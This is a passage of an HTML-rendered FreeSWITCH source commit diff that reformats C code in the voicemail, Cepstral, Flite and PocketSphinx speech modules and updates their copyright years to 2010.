+                                                switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
+                                                /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
+                                                send_mail = 0;
+                                                goto end;
+                                        }
+                                }
+                        } else if (!strcasecmp(buf, profile-&gt;vmain_key) &amp;&amp; !zstr(profile-&gt;vmain_key)) {
+                                int argc;
+                                char *argv[4];
+                                char *mycmd;
</ins><span class="cx"> 
</span><del>-                if (!zstr(profile-&gt;vmain_ext) &amp;&amp; (mycmd = switch_core_session_strdup(session, profile-&gt;vmain_ext))) {
-                    argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
-                    if (argc &gt;= 1 &amp;&amp; argc &lt;= 4) {
-                        switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
-                        /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
-                        send_mail = 0;
-                        goto end;
-                    }
-                }
</del><ins>+                                if (!zstr(profile-&gt;vmain_ext) &amp;&amp; (mycmd = switch_core_session_strdup(session, profile-&gt;vmain_ext))) {
+                                        argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+                                        if (argc &gt;= 1 &amp;&amp; argc &lt;= 4) {
+                                                switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
+                                                /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
+                                                send_mail = 0;
+                                                goto end;
+                                        }
+                                }
</ins><span class="cx">                         } else if (*profile-&gt;skip_greet_key &amp;&amp; !strcasecmp(buf, profile-&gt;skip_greet_key)) {
</span><span class="cx">                                 skip_instructions = SWITCH_TRUE;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -3056,14 +3042,12 @@
</span><span class="cx">         if (disk_quota) {
</span><span class="cx">                 callback_t callback = { 0 };
</span><span class="cx">                 char sqlstmt[256];
</span><del>-                char disk_usage[256] = &quot;&quot;; 
</del><ins>+                char disk_usage[256] = &quot;&quot;;
</ins><span class="cx"> 
</span><span class="cx">                 callback.buf = disk_usage;
</span><span class="cx">                 callback.len = sizeof(disk_usage);
</span><span class="cx"> 
</span><del>-                switch_snprintf(sqlstmt, sizeof(sqlstmt),
-                                                &quot;select sum(message_len) from voicemail_msgs where username='%s' and domain='%s'&quot;,
-                                                id, domain_name);
</del><ins>+                switch_snprintf(sqlstmt, sizeof(sqlstmt), &quot;select sum(message_len) from voicemail_msgs where username='%s' and domain='%s'&quot;, id, domain_name);
</ins><span class="cx">                 vm_execute_sql_callback(profile, profile-&gt;mutex, sqlstmt, sql2str_callback, &amp;callback);
</span><span class="cx"> 
</span><span class="cx">                 if (atoi(disk_usage) &gt;= disk_quota) {
</span><span class="lines">@@ -3110,26 +3094,26 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_snprintf(key_buf, sizeof(key_buf), &quot;%s:%s&quot;, profile-&gt;urgent_key, profile-&gt;terminator_key);
</span><span class="cx"> 
</span><del>-                (void)vm_macro_get(session, VM_RECORD_URGENT_CHECK_MACRO, key_buf, input, sizeof(input), 1, &quot;&quot;, &amp;term, profile-&gt;digit_timeout);
</del><ins>+                (void) vm_macro_get(session, VM_RECORD_URGENT_CHECK_MACRO, key_buf, input, sizeof(input), 1, &quot;&quot;, &amp;term, profile-&gt;digit_timeout);
</ins><span class="cx">                 if (*profile-&gt;urgent_key == *input) {
</span><span class="cx">                         read_flags = URGENT_FLAG_STRING;
</span><span class="cx">                         priority = 1;
</span><del>-                        (void)switch_ivr_phrase_macro(session, VM_ACK_MACRO, &quot;marked-urgent&quot;, NULL, NULL);
</del><ins>+                        (void) switch_ivr_phrase_macro(session, VM_ACK_MACRO, &quot;marked-urgent&quot;, NULL, NULL);
</ins><span class="cx">                 } else {
</span><del>-                        (void)switch_ivr_phrase_macro(session, VM_ACK_MACRO, &quot;saved&quot;, NULL, NULL);
</del><ins>+                        (void) switch_ivr_phrase_macro(session, VM_ACK_MACRO, &quot;saved&quot;, NULL, NULL);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (x_user) {
</span><span class="cx">                 switch_channel_get_variables(channel, &amp;vars);
</span><del>-                status = deliver_vm(profile, x_user, domain_name, file_path, message_len, read_flags, vars, 
</del><ins>+                status = deliver_vm(profile, x_user, domain_name, file_path, message_len, read_flags, vars,
</ins><span class="cx">                                                         switch_core_session_get_pool(session), caller_id_name, caller_id_number, NULL, SWITCH_FALSE);
</span><span class="cx">                 switch_event_destroy(&amp;vars);
</span><span class="cx">                 if (status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         if ((vm_cc = switch_channel_get_variable(channel, &quot;vm_cc&quot;))) {
</span><del>-                                char *cmd = switch_core_session_sprintf(session, &quot;%s %s %s %s %s@%s %s&quot;, 
</del><ins>+                                char *cmd = switch_core_session_sprintf(session, &quot;%s %s %s %s %s@%s %s&quot;,
</ins><span class="cx">                                                                                                                 vm_cc, file_path, caller_id_number, caller_id_name, id, domain_name, read_flags);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (voicemail_inject(cmd) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Sent Carbon Copy to %s\n&quot;, vm_cc);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -3168,7 +3152,7 @@
</span><span class="cx">         int argc = 0;
</span><span class="cx">         char *argv[6] = { 0 };
</span><span class="cx">         char *mydata = NULL;
</span><del>-        vm_profile_t * profile = NULL;
</del><ins>+        vm_profile_t *profile = NULL;
</ins><span class="cx">         const char *profile_name = NULL;
</span><span class="cx">         const char *domain_name = NULL;
</span><span class="cx">         const char *id = NULL;
</span><span class="lines">@@ -3238,7 +3222,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         profile_rwunlock(profile);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #define BOXCOUNT_SYNTAX &quot;[profile/]&lt;user&gt;@&lt;domain&gt;[|[new|saved|new-urgent|saved-urgent|all]]&quot;
</span><span class="lines">@@ -3252,20 +3236,20 @@
</span><span class="cx">         int total_saved_urgent_messages = 0;
</span><span class="cx">         vm_profile_t *profile;
</span><span class="cx">         char *id, *domain, *p, *profilename = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><del>-                stream-&gt;write_function(stream, &quot;%d&quot;, 0);        
</del><ins>+                stream-&gt;write_function(stream, &quot;%d&quot;, 0);
</ins><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         id = dup = strdup(cmd);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = strchr(dup, '/'))) {
</span><span class="cx">                 *p++ = '\0';
</span><span class="cx">                 id = p;
</span><span class="cx">                 profilename = dup;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strncasecmp(id, &quot;sip:&quot;, 4)) {
</span><span class="cx">                 id += 4;
</span><span class="cx">         }
</span><span class="lines">@@ -3319,10 +3303,11 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%d&quot;, total_new_messages);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         switch_safe_free(dup);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> #define PREFS_SYNTAX &quot;[profile/]&lt;user&gt;@&lt;domain&gt;[|[name_path|greeting_path|password]]&quot;
</span><span class="cx"> SWITCH_STANDARD_API(prefs_api_function)
</span><span class="cx"> {
</span><span class="lines">@@ -3331,7 +3316,7 @@
</span><span class="cx">         vm_profile_t *profile = NULL;
</span><span class="cx">         char *id, *domain, *p, *profilename = NULL;
</span><span class="cx">         char sql[256];
</span><del>-        prefs_callback_t cbt = {{0}};
</del><ins>+        prefs_callback_t cbt = { {0} };
</ins><span class="cx"> 
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%d&quot;, 0);
</span><span class="lines">@@ -3387,9 +3372,9 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, cbt.password);
</span><span class="cx">         } else {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s:%s:%s&quot;, cbt.greeting_path, cbt.name_path, cbt.password);
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx">         profile_rwunlock(profile);
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         switch_safe_free(dup);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -3629,15 +3614,15 @@
</span><span class="cx">         char title_aft[128 * 3] = &quot;&quot;;
</span><span class="cx"> 
</span><span class="cx">         if (argc &gt; 0) {
</span><del>-                l_created = switch_time_make (atol(argv[0]), 0);
</del><ins>+                l_created = switch_time_make(atol(argv[0]), 0);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (argc &gt; 1) {
</span><del>-                l_read = switch_time_make (atol(argv[1]), 0);
</del><ins>+                l_read = switch_time_make(atol(argv[1]), 0);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (argc &gt; 9) {
</span><del>-                l_duration = switch_time_make (atol(argv[9]), 0);
</del><ins>+                l_duration = switch_time_make(atol(argv[9]), 0);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((fname = strrchr(argv[8], '/'))) {
</span><span class="lines">@@ -3719,15 +3704,15 @@
</span><span class="cx">         char heard[80];
</span><span class="cx"> 
</span><span class="cx">         if (argc &gt; 0) {
</span><del>-                l_created = switch_time_make (atol(argv[0]), 0);
</del><ins>+                l_created = switch_time_make(atol(argv[0]), 0);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (argc &gt; 1) {
</span><del>-                l_read = switch_time_make (atol(argv[1]), 0);
</del><ins>+                l_read = switch_time_make(atol(argv[1]), 0);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (argc &gt; 9) {
</span><del>-                l_duration = switch_time_make (atol(argv[9]), 0);
</del><ins>+                l_duration = switch_time_make(atol(argv[9]), 0);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_core_measure_time(l_duration, &amp;duration);
</span><span class="lines">@@ -3868,7 +3853,8 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static void do_web(vm_profile_t *profile, const char *user_in, const char *domain, const char *host, const char *port, const char *uri, switch_stream_handle_t *stream)
</del><ins>+static void do_web(vm_profile_t *profile, const char *user_in, const char *domain, const char *host, const char *port, const char *uri,
+                                   switch_stream_handle_t *stream)
</ins><span class="cx"> {
</span><span class="cx">         char buf[80] = &quot;&quot;;
</span><span class="cx">         struct holder holder;
</span><span class="lines">@@ -3996,7 +3982,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;+OK reload complete\n&quot;);
</span><span class="cx">                         goto done;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else if (!strcasecmp(argv[0], &quot;status&quot;)) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;============================\n&quot;);
</span><span class="cx">                         switch_mutex_lock(globals.mutex);
</span><span class="lines">@@ -4134,15 +4120,15 @@
</span><span class="cx">         switch_event_unbind_callback(message_query_handler);
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><del>-        while((hi = switch_hash_first(NULL, globals.profile_hash))) {
</del><ins>+        while ((hi = switch_hash_first(NULL, globals.profile_hash))) {
</ins><span class="cx">                 switch_hash_this(hi, &amp;key, &amp;keylen, &amp;val);
</span><span class="cx">                 profile = (vm_profile_t *) val;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_hash_delete(globals.profile_hash, profile-&gt;name);
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Waiting for write lock (Profile %s)\n&quot;, profile-&gt;name);        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Waiting for write lock (Profile %s)\n&quot;, profile-&gt;name);
</ins><span class="cx">                 switch_thread_rwlock_wrlock(profile-&gt;rwlock);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Destroying Profile %s\n&quot;, profile-&gt;name);
</span><span class="cx"> 
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;profile-&gt;pool);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodasr_ttsmod_cepstralmod_cepstralc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodasr_ttsmod_flitemod_flitec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -71,7 +71,7 @@
</span><span class="cx">         flite_t *flite = switch_core_alloc(sh-&gt;memory_pool, sizeof(*flite));
</span><span class="cx"> 
</span><span class="cx">         sh-&gt;native_rate = 16000;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(voice_name, &quot;awb&quot;)) {
</span><span class="cx">                 flite-&gt;v = globals.awb;
</span><span class="cx">         } else if (!strcasecmp(voice_name, &quot;kal&quot;)) {
</span><span class="lines">@@ -108,9 +108,9 @@
</span><span class="cx"> static switch_status_t flite_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags)
</span><span class="cx"> {
</span><span class="cx">         flite_t *flite = (flite_t *) sh-&gt;private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         flite-&gt;w = flite_text_to_wave(text, flite-&gt;v);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -128,10 +128,10 @@
</span><span class="cx"> {
</span><span class="cx">         size_t bytes_read;
</span><span class="cx">         flite_t *flite = (flite_t *) sh-&gt;private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!flite-&gt;audio_buffer) {
</span><span class="cx">                 int32_t len;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (flite-&gt;w) {
</span><span class="cx">                         len = flite-&gt;w-&gt;num_samples * 2;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -146,28 +146,28 @@
</span><span class="cx">                 switch_buffer_write(flite-&gt;audio_buffer, flite-&gt;w-&gt;samples, flite-&gt;w-&gt;num_samples * 2);
</span><span class="cx">                 free_wave(flite-&gt;w);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((bytes_read = switch_buffer_read(flite-&gt;audio_buffer, data, *datalen))) {
</span><span class="cx">                 *datalen = bytes_read;
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void flite_text_param_tts(switch_speech_handle_t *sh, char *param, const char *val)
</span><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void flite_numeric_param_tts(switch_speech_handle_t *sh, char *param, int val)
</span><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void flite_float_param_tts(switch_speech_handle_t *sh, char *param, double val)
</span><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_flite_load)
</span><span class="lines">@@ -179,7 +179,7 @@
</span><span class="cx">         globals.kal = register_cmu_us_kal();
</span><span class="cx">         globals.rms = register_cmu_us_rms();
</span><span class="cx">         globals.slt = register_cmu_us_slt();
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         speech_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_SPEECH_INTERFACE);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodasr_ttsmod_pocketsphinxmod_pocketsphinxc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -87,23 +87,23 @@
</span><span class="cx">         if (!(ps = (pocketsphinx_t *) switch_core_alloc(ah-&gt;memory_pool, sizeof(*ps)))) {
</span><span class="cx">                 return SWITCH_STATUS_MEMERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_init(&amp;ps-&gt;flag_mutex, SWITCH_MUTEX_NESTED, ah-&gt;memory_pool);
</span><span class="cx">         ah-&gt;private_info = ps;
</span><span class="cx"> 
</span><del>-        if (rate == 8000) { 
</del><ins>+        if (rate == 8000) {
</ins><span class="cx">                 ah-&gt;rate = 8000;
</span><span class="cx">         } else if (rate == 16000) {
</span><span class="cx">                 ah-&gt;rate = 16000;
</span><del>-        } else {  
</del><ins>+        } else {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid rate %d. Only 8000 and 16000 are supported.\n&quot;, rate);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         codec = &quot;L16&quot;;
</span><span class="cx"> 
</span><del>-        ah-&gt;codec = switch_core_strdup(ah-&gt;memory_pool, codec); 
</del><ins>+        ah-&gt;codec = switch_core_strdup(ah-&gt;memory_pool, codec);
</ins><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         ps-&gt;thresh = globals.thresh;
</span><span class="cx">         ps-&gt;silence_hits = globals.silence_hits;
</span><span class="cx">         ps-&gt;listen_hits = globals.listen_hits;
</span><span class="lines">@@ -139,34 +139,28 @@
</span><span class="cx">         dic = switch_mprintf(&quot;%s%s%s&quot;, SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, globals.dictionary);
</span><span class="cx"> 
</span><span class="cx">         if (switch_file_exists(dic, ah-&gt;memory_pool) != SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't open dictionary %s.\n&quot;, dic); 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't open dictionary %s.\n&quot;, dic);
</ins><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (switch_file_exists(model, ah-&gt;memory_pool) != SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Can't open speech model %s.\n&quot;, model); 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Can't open speech model %s.\n&quot;, model);
</ins><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (switch_file_exists(jsgf, ah-&gt;memory_pool) != SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Can't open grammar file %s.\n&quot;, jsgf); 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Can't open grammar file %s.\n&quot;, jsgf);
</ins><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        rate = switch_mprintf(&quot;%d&quot;, ah-&gt;rate); 
</del><ins>+        rate = switch_mprintf(&quot;%d&quot;, ah-&gt;rate);
</ins><span class="cx"> 
</span><span class="cx">         switch_assert(jsgf &amp;&amp; dic &amp;&amp; model);
</span><del>-        
</del><ins>+
</ins><span class="cx">         ps-&gt;config = cmd_ln_init(ps-&gt;config, ps_args(), FALSE,
</span><span class="cx">                                                          &quot;-samprate&quot;, rate,
</span><del>-                                                         &quot;-hmm&quot;, model,
-                                                         &quot;-jsgf&quot;, jsgf, 
-                                                         &quot;-lw&quot;, globals.language_weight,
-                                                         &quot;-dict&quot;, dic,
-                                                         &quot;-frate&quot;, &quot;50&quot;,
-                                                         &quot;-silprob&quot;, &quot;0.005&quot;,
-                                                         NULL);
-          
</del><ins>+                                                         &quot;-hmm&quot;, model, &quot;-jsgf&quot;, jsgf, &quot;-lw&quot;, globals.language_weight, &quot;-dict&quot;, dic, &quot;-frate&quot;, &quot;50&quot;, &quot;-silprob&quot;, &quot;0.005&quot;, NULL);
+
</ins><span class="cx">         if (ps-&gt;config == NULL) {
</span><span class="cx">                 status = SWITCH_STATUS_GENERR;
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -185,19 +179,19 @@
</span><span class="cx">         switch_mutex_unlock(ps-&gt;flag_mutex);
</span><span class="cx"> 
</span><span class="cx">         ps_start_utt(ps-&gt;ps, NULL);
</span><del>-        switch_set_flag(ps, PSFLAG_READY);        
</del><ins>+        switch_set_flag(ps, PSFLAG_READY);
</ins><span class="cx">         switch_safe_free(ps-&gt;grammar);
</span><span class="cx">         ps-&gt;grammar = strdup(grammar);
</span><span class="cx"> 
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><del>- end:
-        
</del><ins>+  end:
+
</ins><span class="cx">         switch_safe_free(rate);
</span><span class="cx">         switch_safe_free(jsgf);
</span><span class="cx">         switch_safe_free(dic);
</span><span class="cx">         switch_safe_free(model);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -224,7 +218,7 @@
</span><span class="cx">         switch_mutex_unlock(ps-&gt;flag_mutex);
</span><span class="cx">         switch_clear_flag(ps, PSFLAG_HAS_TEXT);
</span><span class="cx">         switch_clear_flag(ps, PSFLAG_READY);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Port Closed.\n&quot;); 
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Port Closed.\n&quot;);
</ins><span class="cx">         switch_set_flag(ah, SWITCH_ASR_FLAG_CLOSED);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -233,7 +227,7 @@
</span><span class="cx"> {
</span><span class="cx">         uint32_t score, count = 0, j = 0;
</span><span class="cx">         double energy = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (ps-&gt;countdown) {
</span><span class="cx">                 if (!--ps-&gt;countdown) {
</span><span class="cx">                         ps-&gt;silence_hits = ps-&gt;org_silence_hits;
</span><span class="lines">@@ -242,12 +236,12 @@
</span><span class="cx">                 }
</span><span class="cx">                 return SWITCH_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         for (count = 0; count &lt; samples; count++) {
</span><span class="cx">                 energy += abs(data[j]);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         score = (uint32_t) (energy / samples);
</span><span class="cx"> 
</span><span class="cx">         if (score &gt;= ps-&gt;thresh) {
</span><span class="lines">@@ -274,20 +268,21 @@
</span><span class="cx">         pocketsphinx_t *ps = (pocketsphinx_t *) ah-&gt;private_info;
</span><span class="cx">         int rv = 0;
</span><span class="cx"> 
</span><del>-        if (switch_test_flag(ah, SWITCH_ASR_FLAG_CLOSED)) return SWITCH_STATUS_BREAK; 
-        
</del><ins>+        if (switch_test_flag(ah, SWITCH_ASR_FLAG_CLOSED))
+                return SWITCH_STATUS_BREAK;
+
</ins><span class="cx">         if (!switch_test_flag(ps, PSFLAG_HAS_TEXT) &amp;&amp; switch_test_flag(ps, PSFLAG_READY)) {
</span><del>-                if (stop_detect(ps, (int16_t *)data, len / 2)) {
</del><ins>+                if (stop_detect(ps, (int16_t *) data, len / 2)) {
</ins><span class="cx">                         char const *hyp;
</span><span class="cx"> 
</span><del>-                        switch_mutex_lock(ps-&gt;flag_mutex); 
</del><ins>+                        switch_mutex_lock(ps-&gt;flag_mutex);
</ins><span class="cx">                         if ((hyp = ps_get_hyp(ps-&gt;ps, &amp;ps-&gt;score, &amp;ps-&gt;uttid))) {
</span><span class="cx">                                 if (!zstr(hyp)) {
</span><span class="cx">                                         ps_end_utt(ps-&gt;ps);
</span><span class="cx">                                         switch_clear_flag(ps, PSFLAG_READY);
</span><span class="cx">                                         if ((hyp = ps_get_hyp(ps-&gt;ps, &amp;ps-&gt;score, &amp;ps-&gt;uttid))) {
</span><span class="cx">                                                 if (zstr(hyp)) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Lost the text, never mind....\n&quot;);   
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Lost the text, never mind....\n&quot;);
</ins><span class="cx">                                                         ps_start_utt(ps-&gt;ps, NULL);
</span><span class="cx">                                                         switch_set_flag(ps, PSFLAG_READY);
</span><span class="cx">                                                 } else {
</span><span class="lines">@@ -303,7 +298,7 @@
</span><span class="cx">                 /* only feed ps_process_raw when we are listening */
</span><span class="cx">                 if (ps-&gt;listening) {
</span><span class="cx">                         switch_mutex_lock(ps-&gt;flag_mutex);
</span><del>-                        rv = ps_process_raw(ps-&gt;ps, (int16 *)data, len / 2 , FALSE, FALSE);
</del><ins>+                        rv = ps_process_raw(ps-&gt;ps, (int16 *) data, len / 2, FALSE, FALSE);
</ins><span class="cx">                         switch_mutex_unlock(ps-&gt;flag_mutex);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -321,13 +316,13 @@
</span><span class="cx">         pocketsphinx_t *ps = (pocketsphinx_t *) ah-&gt;private_info;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><del>-        switch_mutex_lock(ps-&gt;flag_mutex);                
</del><ins>+        switch_mutex_lock(ps-&gt;flag_mutex);
</ins><span class="cx">         if (switch_test_flag(ps, PSFLAG_READY)) {
</span><span class="cx">                 ps_end_utt(ps-&gt;ps);
</span><span class="cx">                 switch_clear_flag(ps, PSFLAG_READY);
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        switch_mutex_unlock(ps-&gt;flag_mutex);                
</del><ins>+        switch_mutex_unlock(ps-&gt;flag_mutex);
</ins><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -337,19 +332,19 @@
</span><span class="cx"> {
</span><span class="cx">         pocketsphinx_t *ps = (pocketsphinx_t *) ah-&gt;private_info;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
-        switch_mutex_lock(ps-&gt;flag_mutex);                
</del><ins>+
+        switch_mutex_lock(ps-&gt;flag_mutex);
